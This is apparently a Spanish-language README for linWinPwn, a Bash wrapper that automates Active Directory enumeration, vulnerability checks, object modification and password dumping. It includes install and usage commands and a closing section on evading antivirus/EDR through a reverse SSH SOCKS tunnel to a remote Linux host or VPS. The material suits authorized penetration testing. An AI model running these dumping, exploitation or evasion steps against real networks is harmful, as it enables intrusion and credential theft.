
Script de Bash que envuelve herramientas de Active Directory para enumeración automatizada, verificación de vulnerabilidades, explotación y volcado de contraseñas a través de LDAP, RPC, Kerberos y SMB.
linWinPwn es un script de bash que envuelve una serie de herramientas de Active Directory para enumeración (LDAP, RPC, ADCS, MSSQL, Kerberos, SCCM), comprobaciones de vulnerabilidades (noPac, ZeroLogon, MS17-010, MS14-068), modificaciones de objetos (cambio de contraseña, añadir usuario a grupo, RBCD, Shadow Credentials) y volcado de contraseñas (secretsdump, lsassy, nanodump, DonPAPI). El script agiliza el uso de un gran número de herramientas: impacket, bloodhound, netexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, certipy, silenthound, bloodyAD, DonPAPI y muchas otras.
Clona el repositorio con Git e instala los requisitos usando el script install.sh
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn
chmod +x install.sh
./install.sh
Alternativamente, usa la imagen Docker preconstruida de Docker Hub
docker pull lefayjey/linwinpwn:latest
# Add linWinPwn_docker to PATH
echo -e "docker run --rm --init -it --net=host -v \$(pwd):/opt/lwp-output lefayjey/linwinpwn:latest \$@" | sudo tee "/usr/local/sbin/linWinPwn_docker"
sudo chmod 755 /usr/local/sbin/linWinPwn_docker
# Run linWinPwn_docker (output to host's current directory)
linWinPwn_docker -t <DC_IP>
linWinPwn_docker -t <DC_IP> -d <domain> -u <user> -p <password> --auto
O compila desde el código fuente
docker build -t linwinpwn .
docker run --rm --init -it --net=host -v $(pwd):/opt/lwp-output linwinpwn -t <DC_IP>
El script linWinPwn puede ejecutarse en modo interactivo (por defecto), o en modo automatizado (solo enumeración).
1. Modo interactivo (por defecto) - Abre el menú interactivo para ejecutar las comprobaciones por separado
linWinPwn -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]> -o <output_dir>]
2. Modo automatizado - Usando el parámetro --auto, ejecuta las herramientas de enumeración (sin explotación, modificaciones ni volcado de contraseñas)
Al usar el modo automatizado, se realizan diferentes comprobaciones según el método de autenticación.
linWinPwn -t <Domain_Controller_IP> --auto [-o <output_dir>]
linWinPwn -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] --auto
Auto config - Ejecuta la sincronización NTP con el DC objetivo y añade una entrada a /etc/hosts antes de ejecutar los módulos
linWinPwn -t <Domain_Controller_IP> --auto-config
LDAPS - Usa LDAPS en lugar de LDAP (puerto 636)
linWinPwn -t <Domain_Controller_IP> --ldaps
Force Kerberos Auth - Fuerza el uso de autenticación Kerberos en lugar de NTLM (cuando sea posible)
linWinPwn -t <Domain_Controller_IP> --force-kerb
Verbose - Habilita todas las salidas verbose y de depuración
linWinPwn -t <Domain_Controller_IP> --verbose
Interface - Elige la interfaz de red del atacante
linWinPwn -t <Domain_Controller_IP> -I tun0
linWinPwn -t <Domain_Controller_IP> --interface eth0
Targets - Elige los objetivos a escanear (DC, All, IP=IP_or_hostname, File=./path_to_file)
linWinPwn -t <Domain_Controller_IP> --targets All
linWinPwn -t <Domain_Controller_IP> --targets DC
linWinPwn -t <Domain_Controller_IP> -T IP=192.168.0.1
linWinPwn -t <Domain_Controller_IP> -T File=./list_servers.txt
Diccionarios personalizados - Elige diccionarios personalizados de usuarios y contraseñas
linWinPwn -t <Domain_Controller_IP> -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
linWinPwn -t <Domain_Controller_IP> -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
linWinPwn puede ser especialmente útil cuando tienes acceso a un entorno de Active Directory solo por tiempo limitado, y deseas ser más eficiente en el proceso de enumeración y en la recopilación de evidencias. Además, linWinPwn puede reemplazar el uso de herramientas de enumeración en Windows con el objetivo de reducir el número de artefactos creados (por ejemplo, comandos de PowerShell, eventos de Windows, archivos creados en disco), y eludir ciertos Anti-Virus o EDRs. Esto puede lograrse realizando un reenvío dinámico de puertos remoto mediante la creación de un túnel SSH desde el host Windows (por ejemplo, una máquina VDI, estación de trabajo o portátil) hacia una máquina Linux remota (por ejemplo, un portátil de pentest o un VPS), y ejecutando linWinPwn con proxychains.
En el host Windows, ejecuta usando PowerShell:
ssh.exe kali@<linux_machine> -R 1080 -NCqf
En la máquina Linux, primero actualiza /etc/proxychains4.conf para incluir socks5 127.0.0.1 1080, luego ejecuta:
linWinPwn_proxychains -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] [--auto]